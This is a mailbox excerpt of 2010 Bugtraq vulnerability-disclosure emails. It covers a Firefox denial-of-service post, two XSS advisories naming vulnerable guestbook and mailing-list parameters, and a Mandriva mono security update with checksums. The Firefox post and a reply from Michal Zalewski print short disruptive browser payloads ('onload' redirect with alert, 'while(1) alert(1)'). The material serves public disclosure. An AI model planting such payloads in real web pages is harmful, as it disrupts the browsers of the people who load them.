Return-Path: <bugtraq-return-45356-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 0B62FEC2A4
for <lists@securityspace.com>; Wed, 24 Nov 2010 10:01:59 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 8588F23730C; Wed, 24 Nov 2010 07:52:27 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 17614 invoked from network); 24 Nov 2010 05:38:15 -0000
Date: Tue, 23 Nov 2010 22:38:14 -0700
Message-Id: <201011240538.oAO5cEqu005686@www3.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.420 (Entity 5.420)
From: info@pouya.info
To: bugtraq@securityfocus.com
Subject: Mozilla Firefox 3.6.12 Denial of Service Vulnerability
Status: RO

PoC:
<body onload="location='';alert('DoS');">

By: Pouya Daneshmand
Advisory: http://securitylab.ir/Advisories/Firefox%203.6.12%20Denial%20of%20Service%20Vulnerability.txt

From - Wed Nov 24 19:07:10 2010
X-Account-Key: account7
X-UIDL: 4cc060000001278a
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45357-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 319F7EC2A4
for <lists@securityspace.com>; Wed, 24 Nov 2010 10:09:54 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id E4EA32374E8; Wed, 24 Nov 2010 07:52:43 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 23190 invoked from network); 24 Nov 2010 12:49:25 -0000
Date: 24 Nov 2010 12:49:25 -0000
Message-ID: <20101124124925.24586.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.411 (Entity 5.404)
From: bt@evuln.com
To: bugtraq@securityfocus.com
Subject: [eVuln.com] Multiple XSS in MCG GuestBook
Status: RO

New eVuln Advisory:
Multiple XSS in MCG GuestBook
Summary: http://evuln.com/vulns/144/summary.html
Details: http://evuln.com/vulns/144/description.html

-----------Summary-----------
eVuln ID: EV0144
Software: MCG GuestBook
Vendor: Mrcgiguy
Version: 1.0
Critical Level: low
Type: Cross Site Scripting
Status: Unpatched. No reply from developer(s)
PoC: Available
Solution: Not available
Discovered by: Aliaksandr Hartsuyeu ( http://evuln.com/ )
--------Description--------
All vulnerabilities found in gb.cgi script. It doesn't have proper XSS sanitation filters.

XSS vulnerable parameters:

    * name
    * email
    * website
    * message

All these parameters are not sanitized.
This can be used to insert any html or script code.
Admin panel is vulnerable also
--------PoC/Exploit--------
PoC code is available at:
http://evuln.com/vulns/144/exploit.html
---------Solution----------
Not available
----------Credit-----------
Vulnerability discovered by Aliaksandr Hartsuyeu
http://evuln.com/tool/php-security.html - online php source analyzer.

From - Wed Nov 24 19:07:11 2010
X-Account-Key: account7
X-UIDL: 4cc060000001278c
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45358-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 8B2C2EC276
for <lists@securityspace.com>; Wed, 24 Nov 2010 10:23:37 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id B18F02374E9; Wed, 24 Nov 2010 07:52:59 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 24514 invoked from network); 24 Nov 2010 14:47:38 -0000
Date: 24 Nov 2010 14:47:38 -0000
Message-ID: <20101124144738.3834.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.411 (Entity 5.404)
From: bt@evuln.com
To: bugtraq@securityfocus.com
Subject: [eVuln.com] email XSS in SimpLISTic
Status: RO

New eVuln Advisory:
email XSS in SimpLISTic
Summary: http://evuln.com/vulns/145/summary.html
Details: http://evuln.com/vulns/145/description.html

-----------Summary-----------
eVuln ID: EV0145
Software: SimpLISTic
Vendor: Mrcgiguy
Version: 2.0
Critical Level: low
Type: Cross Site Scripting
Status: Unpatched. No reply from developer(s)
PoC: Available
Solution: Available
Discovered by: Aliaksandr Hartsuyeu ( http://evuln.com/ )
--------Description--------
XSS vulnerability found in email.cgi script. 'email' parameter is not properly sanitized.
'email' parameter pass through similar filter but not XSS filter.
Any user may add email containing special code.
"List addresses" page in Admin panel is vulnerable.
--------PoC/Exploit--------
PoC code is available at:
http://evuln.com/vulns/145/exploit.html
---------Solution----------
Available at http://evuln.com/vulns/145/solution.html
----------Credit-----------
Vulnerability discovered by Aliaksandr Hartsuyeu
http://evuln.com/xss/ - recent xss vulns.

From - Wed Nov 24 19:07:12 2010
X-Account-Key: account7
X-UIDL: 4cc0600000012796
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45359-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 626BDEC28C
for <lists@securityspace.com>; Wed, 24 Nov 2010 14:45:04 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id BAE2814377B; Wed, 24 Nov 2010 12:10:18 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 493 invoked from network); 24 Nov 2010 18:17:47 -0000
MIME-Version: 1.0
In-Reply-To: <201011240538.oAO5cEqu005686@www3.securityfocus.com>
References: <201011240538.oAO5cEqu005686@www3.securityfocus.com>
From: Michal Zalewski <lcamtuf@coredump.cx>
Date: Wed, 24 Nov 2010 10:17:24 -0800
Message-ID: <AANLkTinTAqbz9cD8Xs8BveOxGOREuSg6PYLeSJkuuUVf@mail.gmail.com>
Subject: Re: Mozilla Firefox 3.6.12 Denial of Service Vulnerability
To: info@pouya.info
Cc: bugtraq@securityfocus.com
Content-Type: text/plain; charset=ISO-8859-1
Status:

> <body onload="location='';alert('DoS');">

Welcome to the world of browsers. You could just as easily do
"while(1) alert(1)". See:

http://code.google.com/p/browsersec/wiki/Part2#Defenses_against_disruptive_scripts

/mz

From - Thu Nov 25 19:36:58 2010
X-Account-Key: account7
X-UIDL: 4cc06000000127d6
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45360-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id F39F5EC122
for <lists@securityspace.com>; Thu, 25 Nov 2010 11:23:15 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id A7FEC236FE9; Thu, 25 Nov 2010 09:19:40 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 3373 invoked from network); 24 Nov 2010 19:45:06 -0000
To: bugtraq@securityfocus.com
Subject: [ MDVSA-2010:240 ] mono
Date: Wed, 24 Nov 2010 20:45:00 +0100
From: security@mandriva.com
Reply-To: <xsecurity@mandriva.com>
Message-Id: <E1PLLH2-0001R7-TU@titan.mandriva.com>
Status: RO

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

_______________________________________________________________________

Mandriva Linux Security Advisory                         MDVSA-2010:240
http://www.mandriva.com/security/
_______________________________________________________________________

Package : mono
Date    : November 24, 2010
Affected: 2009.0, 2010.0, 2010.1, Enterprise Server 5.0
_______________________________________________________________________

Problem Description:

A vulnerability was discovered and corrected in mono:

Untrusted search path vulnerability in metadata/loader.c in Mono 2.8
and earlier allows local users to gain privileges via a Trojan horse
shared library in the current working directory (CVE-2010-4159).

Packages for 2009.0 are provided as of the Extended Maintenance
Program. Please visit this link to learn more:
http://store.mandriva.com/product_info.php?cPath9&products_idI0

The updated packages have been patched to correct this issue.
_______________________________________________________________________

References:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4159
_______________________________________________________________________

Updated Packages:

Mandriva Linux 2009.0:
72901113b7df76ded64bc4afa4684082  2009.0/i586/jay-1.9.1-5.3mdv2009.0.i586.rpm
c89e33a5388a6c28fdeb1d42fe627a7f  2009.0/i586/libmono0-1.9.1-5.3mdv2009.0.i586.rpm
1b650383c2d01eea73c08b115fc5257e  2009.0/i586/libmono-devel-1.9.1-5.3mdv2009.0.i586.rpm
f3542768db711f2932ca8009618a7385  2009.0/i586/mono-1.9.1-5.3mdv2009.0.i586.rpm
4201868547731e1650acaec37c18d59a  2009.0/i586/mono-bytefx-data-mysql-1.9.1-5.3mdv2009.0.i586.rpm
2fd921771b93e14b12ecb63fae89343f  2009.0/i586/mono-data-1.9.1-5.3mdv2009.0.i586.rpm
26c8361fabd707eaf1e8239f58e58c7c  2009.0/i586/mono-data-firebird-1.9.1-5.3mdv2009.0.i586.rpm
c35fc50c8851fff0311a5c32a681bb4d  2009.0/i586/mono-data-oracle-1.9.1-5.3mdv2009.0.i586.rpm
d23b29548acb37ed0721d7df3bf868cd  2009.0/i586/mono-data-postgresql-1.9.1-5.3mdv2009.0.i586.rpm
b56f1a8b3692809eceb40826a00779e6  2009.0/i586/mono-data-sqlite-1.9.1-5.3mdv2009.0.i586.rpm
bbbfe9072945211a71b6a31c23a42161  2009.0/i586/mono-data-sybase-1.9.1-5.3mdv2009.0.i586.rpm
89765a462fa3f7652c3e3ab6eea2641f  2009.0/i586/mono-doc-1.9.1-5.3mdv2009.0.i586.rpm
992c014af10f1e8c3711e85ca7528f63  2009.0/i586/mono-extras-1.9.1-5.3mdv2009.0.i586.rpm
18172a9e9c0ff51e1f951b1cb3b6e8f5  2009.0/i586/mono-ibm-data-db2-1.9.1-5.3mdv2009.0.i586.rpm
a7ddaef888f93177aa020f2cc1f96af6  2009.0/i586/mono-jscript-1.9.1-5.3mdv2009.0.i586.rpm
c51a57138f981dbc6e4ab9c448d8c8ea  2009.0/i586/mono-locale-extras-1.9.1-5.3mdv2009.0.i586.rpm
578e7eb8a020a327a6ceaad601aaa348  2009.0/i586/mono-nunit-1.9.1-5.3mdv2009.0.i586.rpm
152a789f5ab329e38a35355404fe1abd  2009.0/i586/mono-web-1.9.1-5.3mdv2009.0.i586.rpm
ea8b4cc95d9c2acd674529a943ceda4c  2009.0/i586/mono-winforms-1.9.1-5.3mdv2009.0.i586.rpm
b5b144ca95ae3eb8907648ed8f90469c  2009.0/SRPMS/mono-1.9.1-5.3mdv2009.0.src.rpm

Mandriva Linux 2009.0/X86_64:
0791c6afc43be595cb16908894794f14  2009.0/x86_64/jay-1.9.1-5.3mdv2009.0.x86_64.rpm
23df583ac8d3c722bfb49bc67fdb03cf  2009.0/x86_64/lib64mono0-1.9.1-5.3mdv2009.0.x86_64.rpm
11323e1c26ebded92f3b1ce04db9300e  2009.0/x86_64/lib64mono-devel-1.9.1-5.3mdv2009.0.x86_64.rpm
a528018d15510bb4ecf109b353ff941c  2009.0/x86_64/mono-1.9.1-5.3mdv2009.0.x86_64.rpm
f6d66fddbd34e50571d6f45ee3d0389f  2009.0/x86_64/mono-bytefx-data-mysql-1.9.1-5.3mdv2009.0.x86_64.rpm
eff7ab67d77ba056206133da1dcce808  2009.0/x86_64/mono-data-1.9.1-5.3mdv2009.0.x86_64.rpm
4cf63758093e11fe7e4085810909315c  2009.0/x86_64/mono-data-firebird-1.9.1-5.3mdv2009.0.x86_64.rpm
9dfb5be24dcda00378287064878c402f  2009.0/x86_64/mono-data-oracle-1.9.1-5.3mdv2009.0.x86_64.rpm
509057499ad08b509ea0dce6e583e64c  2009.0/x86_64/mono-data-postgresql-1.9.1-5.3mdv2009.0.x86_64.rpm
a2ef78943dd9fceda3556ff868bb01a0  2009.0/x86_64/mono-data-sqlite-1.9.1-5.3mdv2009.0.x86_64.rpm
23cc368161680099b3439237f00a55bd  2009.0/x86_64/mono-data-sybase-1.9.1-5.3mdv2009.0.x86_64.rpm
4154cb7155790df05957625f180fbea7  2009.0/x86_64/mono-doc-1.9.1-5.3mdv2009.0.x86_64.rpm
a9556ccfb16ae8a27e1e19bdb18baa27  2009.0/x86_64/mono-extras-1.9.1-5.3mdv2009.0.x86_64.rpm
eb21c9ce2093e6a2c9de16e4700add9b  2009.0/x86_64/mono-ibm-data-db2-1.9.1-5.3mdv2009.0.x86_64.rpm
758abb37fe33c41437330adff9728227  2009.0/x86_64/mono-jscript-1.9.1-5.3mdv2009.0.x86_64.rpm
a21791547b6e63e0a9078f87bee704fb  2009.0/x86_64/mono-locale-extras-1.9.1-5.3mdv2009.0.x86_64.rpm
c63e17cebd7099063152b32a621e7ccb  2009.0/x86_64/mono-nunit-1.9.1-5.3mdv2009.0.x86_64.rpm
863a0713bf81c00895522246fdb094cd  2009.0/x86_64/mono-web-1.9.1-5.3mdv2009.0.x86_64.rpm
991d705107120ed1b4587b49db6cd227  2009.0/x86_64/mono-winforms-1.9.1-5.3mdv2009.0.x86_64.rpm
b5b144ca95ae3eb8907648ed8f90469c  2009.0/SRPMS/mono-1.9.1-5.3mdv2009.0.src.rpm

Mandriva Linux 2010.0:
c565248c6861ca6b9357cd736f84cf3e  2010.0/i586/jay-2.4.2.3-2.2mdv2010.0.i586.rpm
ce62f5660d883f8bd0da7c5225564407  2010.0/i586/libmono0-2.4.2.3-2.2mdv2010.0.i586.rpm
0d1d268471060a943dc5479ac840d7ad  2010.0/i586/libmono-devel-2.4.2.3-2.2mdv2010.0.i586.rpm
98c64077eef896484f7ac531c0a698c8  2010.0/i586/mono-2.4.2.3-2.2mdv2010.0.i586.rpm
d102660c8c96a2699d8d1d2157f744dd  2010.0/i586/mono-bytefx-data-mysql-2.4.2.3-2.2mdv2010.0.i586.rpm
b810e5fdd9f0cc057089f59f9f4e747c  2010.0/i586/mono-data-2.4.2.3-2.2mdv2010.0.i586.rpm
a2b20951ab3d3370724b034ef022e449  2010.0/i586/mono-data-firebird-2.4.2.3-2.2mdv2010.0.i586.rpm
fd69610ca9c6d16cde566acd41e890c7  2010.0/i586/mono-data-oracle-2.4.2.3-2.2mdv2010.0.i586.rpm
7197911517af0fd0fbcd7a5d7cacd9de  2010.0/i586/mono-data-postgresql-2.4.2.3-2.2mdv2010.0.i586.rpm
50950e10fca81adbfc2f4c00f6393e79  2010.0/i586/mono-data-sqlite-2.4.2.3-2.2mdv2010.0.i586.rpm
b484577410f1176293a7a4b47cbe9f8b  2010.0/i586/mono-data-sybase-2.4.2.3-2.2mdv2010.0.i586.rpm
e820127f7d89654720190b493c303077  2010.0/i586/mono-doc-2.4.2.3-2.2mdv2010.0.i586.rpm
9016d793711dba8aa229d7bfe86f07e6  2010.0/i586/monodoc-core-2.4.2.3-2.2mdv2010.0.i586.rpm
753f5a5e969717057ef71f61cffff25a  2010.0/i586/mono-extras-2.4.2.3-2.2mdv2010.0.i586.rpm
8dbcab39c0ac93a5eff95d2301dd4b6c  2010.0/i586/mono-ibm-data-db2-2.4.2.3-2.2mdv2010.0.i586.rpm
20adcfaad3dfd74772d549b7139ddd4f  2010.0/i586/mono-jscript-2.4.2.3-2.2mdv2010.0.i586.rpm
c3671f4f44d1153d515c52a815ee42d2  2010.0/i586/mono-locale-extras-2.4.2.3-2.2mdv2010.0.i586.rpm
0f14a1731ec18f225d3daf7ffb647a01  2010.0/i586/mono-nunit-2.4.2.3-2.2mdv2010.0.i586.rpm
3a9bb24bdd2c1e219cc70cb2d6572fc1  2010.0/i586/mono-wcf-2.4.2.3-2.2mdv2010.0.i586.rpm
35f34acf8d2faa65f2d04ec6fac9fc7b  2010.0/i586/mono-web-2.4.2.3-2.2mdv2010.0.i586.rpm
cbc81d782e023431ad12732528d9b68e  2010.0/i586/mono-winforms-2.4.2.3-2.2mdv2010.0.i586.rpm
fbaebb6f1b9853a30c2868195d99bf42  2010.0/SRPMS/mono-2.4.2.3-2.2mdv2010.0.src.rpm

Mandriva Linux 2010.0/X86_64:
2025fb362c8d09c55c7162a08b0ad7b1  2010.0/x86_64/jay-2.4.2.3-2.2mdv2010.0.x86_64.rpm
a23f3e15e522e04bcda785340422c6de  2010.0/x86_64/lib64mono0-2.4.2.3-2.2mdv2010.0.x86_64.rpm
c2feeeeff3891b2171defb82f9143cd3  2010.0/x86_64/lib64mono-devel-2.4.2.3-2.2mdv2010.0.x86_64.rpm
d53c48eb16cfe3183a3c7aabc08ab187  2010.0/x86_64/mono-2.4.2.3-2.2mdv2010.0.x86_64.rpm
2f7f571ca3705ec0cebe04e7deac8360  2010.0/x86_64/mono-bytefx-data-mysql-2.4.2.3-2.2mdv2010.0.x86_64.rpm
9af2b093715128f96a575e5e601418d1  2010.0/x86_64/mono-data-2.4.2.3-2.2mdv2010.0.x86_64.rpm
68841f4908a5dc5be2f8bfcdc6f3db4c  2010.0/x86_64/mono-data-firebird-2.4.2.3-2.2mdv2010.0.x86_64.rpm
f4fe3397af0ac2c2d5a3c950f747b178  2010.0/x86_64/mono-data-oracle-2.4.2.3-2.2mdv2010.0.x86_64.rpm
60da324178f3990d0c6422d086d0d4ad  2010.0/x86_64/mono-data-postgresql-2.4.2.3-2.2mdv2010.0.x86_64.rpm
4e7c844a62a018d5f20afdc67fd078c7  2010.0/x86_64/mono-data-sqlite-2.4.2.3-2.2mdv2010.0.x86_64.rpm
e73741932cdfc710a1faaf1109389595  2010.0/x86_64/mono-data-sybase-2.4.2.3-2.2mdv2010.0.x86_64.rpm
1d75b879d5daf072845e0c77be7de803  2010.0/x86_64/mono-doc-2.4.2.3-2.2mdv2010.0.x86_64.rpm
c43142156136269b4093d28a204984a4  2010.0/x86_64/monodoc-core-2.4.2.3-2.2mdv2010.0.x86_64.rpm
75cdada9de51b06515126a2750b0e238  2010.0/x86_64/mono-extras-2.4.2.3-2.2mdv2010.0.x86_64.rpm
09240ee5bb495c7e987a9c83906fb961  2010.0/x86_64/mono-ibm-data-db2-2.4.2.3-2.2mdv2010.0.x86_64.rpm
5162f1644cb469f1d90430d99610fb82  2010.0/x86_64/mono-jscript-2.4.2.3-2.2mdv2010.0.x86_64.rpm
45afd17f392ed6d022626be04c0b33ba  2010.0/x86_64/mono-locale-extras-2.4.2.3-2.2mdv2010.0.x86_64.rpm
d1faae1b1c89a7c12275a7b09b284f97  2010.0/x86_64/mono-nunit-2.4.2.3-2.2mdv2010.0.x86_64.rpm
5b9047ddc0c09df6a8b6531cd3c6facb  2010.0/x86_64/mono-wcf-2.4.2.3-2.2mdv2010.0.x86_64.rpm
3299885e45531cb576b791704217c55a  2010.0/x86_64/mono-web-2.4.2.3-2.2mdv2010.0.x86_64.rpm
b11b9d9bbb99ad9bdc0cb18bd80dffef  2010.0/x86_64/mono-winforms-2.4.2.3-2.2mdv2010.0.x86_64.rpm
fbaebb6f1b9853a30c2868195d99bf42  2010.0/SRPMS/mono-2.4.2.3-2.2mdv2010.0.src.rpm

Mandriva Linux 2010.1:
df6859234df6f07258abda6656ea02c9  2010.1/i586/jay-2.6.4-4.1mdv2010.1.i586.rpm
faf89276629fc15e5aea61b8ebfd33fe  2010.1/i586/libmono0-2.6.4-4.1mdv2010.1.i586.rpm
0f9eb0a9beea1c4302247d87c6e07d34  2010.1/i586/libmono-devel-2.6.4-4.1mdv2010.1.i586.rpm
33099f4363b58fba806797ac234196d0  2010.1/i586/mono-2.6.4-4.1mdv2010.1.i586.rpm
b3257449554570aad115f3092dbf07d8  2010.1/i586/mono-bytefx-data-mysql-2.6.4-4.1mdv2010.1.i586.rpm
1f3bb05af7a178e2f00a375d3be918d2  2010.1/i586/mono-data-2.6.4-4.1mdv2010.1.i586.rpm
95284b3c1ec483650cb98298bd2024fa  2010.1/i586/mono-data-firebird-2.6.4-4.1mdv2010.1.i586.rpm
65030cd7784eb58717455b1dc7071b01  2010.1/i586/mono-data-oracle-2.6.4-4.1mdv2010.1.i586.rpm
6bb9c8ceb3c5bcd064a11533f54ac73d  2010.1/i586/mono-data-postgresql-2.6.4-4.1mdv2010.1.i586.rpm
983297f7749db028d89eb9fa561dedc3  2010.1/i586/mono-data-sqlite-2.6.4-4.1mdv2010.1.i586.rpm
6d3ba6b4aef69f18462303a214960034  2010.1/i586/mono-data-sybase-2.6.4-4.1mdv2010.1.i586.rpm
2d8d5b1f5af1cda59a63057d9f6f981b  2010.1/i586/mono-doc-2.6.4-4.1mdv2010.1.i586.rpm
f1f0f047ca18c337164c70a4dc058302  2010.1/i586/monodoc-core-2.6.4-4.1mdv2010.1.i586.rpm
5922d6fe5987b9fe1126edf19e162521  2010.1/i586/mono-extras-2.6.4-4.1mdv2010.1.i586.rpm
a44d6ac02f2dbfb90327ac3c6274905a  2010.1/i586/mono-ibm-data-db2-2.6.4-4.1mdv2010.1.i586.rpm
d7fdb1b703e2466ddbcbd21163180178  2010.1/i586/mono-jscript-2.6.4-4.1mdv2010.1.i586.rpm
bf214395e1f46167b07095d137639ddc  2010.1/i586/mono-locale-extras-2.6.4-4.1mdv2010.1.i586.rpm
0d09f06635b703cdeb4045fc1454c6f3  2010.1/i586/mono-nunit-2.6.4-4.1mdv2010.1.i586.rpm
5053bc3f536a8c90a4fa2849ac33db76  2010.1/i586/mono-wcf-2.6.4-4.1mdv2010.1.i586.rpm
ee57b5ab2391643416bfed9e4d19d7ba  2010.1/i586/mono-web-2.6.4-4.1mdv2010.1.i586.rpm
d6e3ef939e16cff6c98a50bcbe15ebc4  2010.1/i586/mono-winforms-2.6.4-4.1mdv2010.1.i586.rpm
aa851e37d61357e881cca3f4b617bf92  2010.1/i586/mono-winfxcore-2.6.4-4.1mdv2010.1.i586.rpm
6a634dcf9b5d6ccd4cde887e8f886472  2010.1/SRPMS/mono-2.6.4-4.1mdv2010.1.src.rpm

Mandriva Linux 2010.1/X86_64:
d1d80609e7b0b928c92811de8996aec0  2010.1/x86_64/jay-2.6.4-4.1mdv2010.1.x86_64.rpm
f4ba6948bdfd9f5b532063e38ebdf725  2010.1/x86_64/lib64mono0-2.6.4-4.1mdv2010.1.x86_64.rpm
a450a1e64ff824b5f015ef7b3b1f0d60  2010.1/x86_64/lib64mono-devel-2.6.4-4.1mdv2010.1.x86_64.rpm
57f7d6d3c9400b09d1a4811e6411611f  2010.1/x86_64/mono-2.6.4-4.1mdv2010.1.x86_64.rpm
4050edbda1acfc6e8d261a315955f08f  2010.1/x86_64/mono-bytefx-data-mysql-2.6.4-4.1mdv2010.1.x86_64.rpm
c17698ccd4856295c6e6a50b4d5cee62  2010.1/x86_64/mono-data-2.6.4-4.1mdv2010.1.x86_64.rpm
1c580c480b003ebfd9ac7d9a9ed648ab  2010.1/x86_64/mono-data-firebird-2.6.4-4.1mdv2010.1.x86_64.rpm
2425bfd5d8fc94dafa4e7838adc87f55  2010.1/x86_64/mono-data-oracle-2.6.4-4.1mdv2010.1.x86_64.rpm
8fb69ba871f03ae3a96f65fd0c0b333b  2010.1/x86_64/mono-data-postgresql-2.6.4-4.1mdv2010.1.x86_64.rpm
bc855cab0071a00c1c712854588dc2d9  2010.1/x86_64/mono-data-sqlite-2.6.4-4.1mdv2010.1.x86_64.rpm
19fa157e87f3d47f05b3a0ae830a805d  2010.1/x86_64/mono-data-sybase-2.6.4-4.1mdv2010.1.x86_64.rpm
7bbbfa718f4abeb51070d39e1334032b  2010.1/x86_64/mono-doc-2.6.4-4.1mdv2010.1.x86_64.rpm
be9f2a71f6235a456bba10beae36deb5  2010.1/x86_64/monodoc-core-2.6.4-4.1mdv2010.1.x86_64.rpm
6a88c19b2f9e63a8fd6378e231db6300  2010.1/x86_64/mono-extras-2.6.4-4.1mdv2010.1.x86_64.rpm
eed114db2c77ae225eb9a65068f53c3c  2010.1/x86_64/mono-ibm-data-db2-2.6.4-4.1mdv2010.1.x86_64.rpm
65fbbbb178fbce11e7468df3ef4dfbc2  2010.1/x86_64/mono-jscript-2.6.4-4.1mdv2010.1.x86_64.rpm
6ec6fb9ce8a4549cee654550fdd39164  2010.1/x86_64/mono-locale-extras-2.6.4-4.1mdv2010.1.x86_64.rpm
0e86c6a379e4a680aa5fa0225bb66d14  2010.1/x86_64/mono-nunit-2.6.4-4.1mdv2010.1.x86_64.rpm
273544ca81d6e8dfefdccee96afaada6  2010.1/x86_64/mono-wcf-2.6.4-4.1mdv2010.1.x86_64.rpm
18925940099c77af9d6a3f2f1e52951a  2010.1/x86_64/mono-web-2.6.4-4.1mdv2010.1.x86_64.rpm
409813471b163fac6030d201d2383cf0  2010.1/x86_64/mono-winforms-2.6.4-4.1mdv2010.1.x86_64.rpm
ec03f60a3afe445d2d6d97d63b3d94e8  2010.1/x86_64/mono-winfxcore-2.6.4-4.1mdv2010.1.x86_64.rpm
6a634dcf9b5d6ccd4cde887e8f886472  2010.1/SRPMS/mono-2.6.4-4.1mdv2010.1.src.rpm

Mandriva Enterprise Server 5:
88d34dad86bcd1003980911c919dee9d  mes5/i586/jay-1.9.1-5.3mdvmes5.1.i586.rpm
da6791af05882b035f236287a165497b  mes5/i586/libmono0-1.9.1-5.3mdvmes5.1.i586.rpm
128198d949e08150c19c5a34e55eaf36  mes5/i586/libmono-devel-1.9.1-5.3mdvmes5.1.i586.rpm
a5622538b01c5ffd19c6cf5992620187  mes5/i586/mono-1.9.1-5.3mdvmes5.1.i586.rpm
1d7c773ac76d43541cbdf517ff3deb14  mes5/i586/mono-bytefx-data-mysql-1.9.1-5.3mdvmes5.1.i586.rpm
b6f9213439fb6b91b23a9f170bcd529d  mes5/i586/mono-data-1.9.1-5.3mdvmes5.1.i586.rpm
11af4df401f1fcb5b822cdeaa49f51db  mes5/i586/mono-data-firebird-1.9.1-5.3mdvmes5.1.i586.rpm
603984900ee00e13c53c1677b70e4365  mes5/i586/mono-data-oracle-1.9.1-5.3mdvmes5.1.i586.rpm
5447d87cb4f661606d89a7504ff0fde7  mes5/i586/mono-data-postgresql-1.9.1-5.3mdvmes5.1.i586.rpm
ef66d0f2423edbeec7a0df01350bd0fc  mes5/i586/mono-data-sqlite-1.9.1-5.3mdvmes5.1.i586.rpm
faf737fa95c577a9edfbb1d9a83103b2  mes5/i586/mono-data-sybase-1.9.1-5.3mdvmes5.1.i586.rpm
09937404c1de56ae077e6b898b4daed7  mes5/i586/mono-doc-1.9.1-5.3mdvmes5.1.i586.rpm
b87d2601e52ae62efca2566be4b1d422  mes5/i586/mono-extras-1.9.1-5.3mdvmes5.1.i586.rpm
8c56ee9dee4cc34d6f9ded8bea3ea73c  mes5/i586/mono-ibm-data-db2-1.9.1-5.3mdvmes5.1.i586.rpm
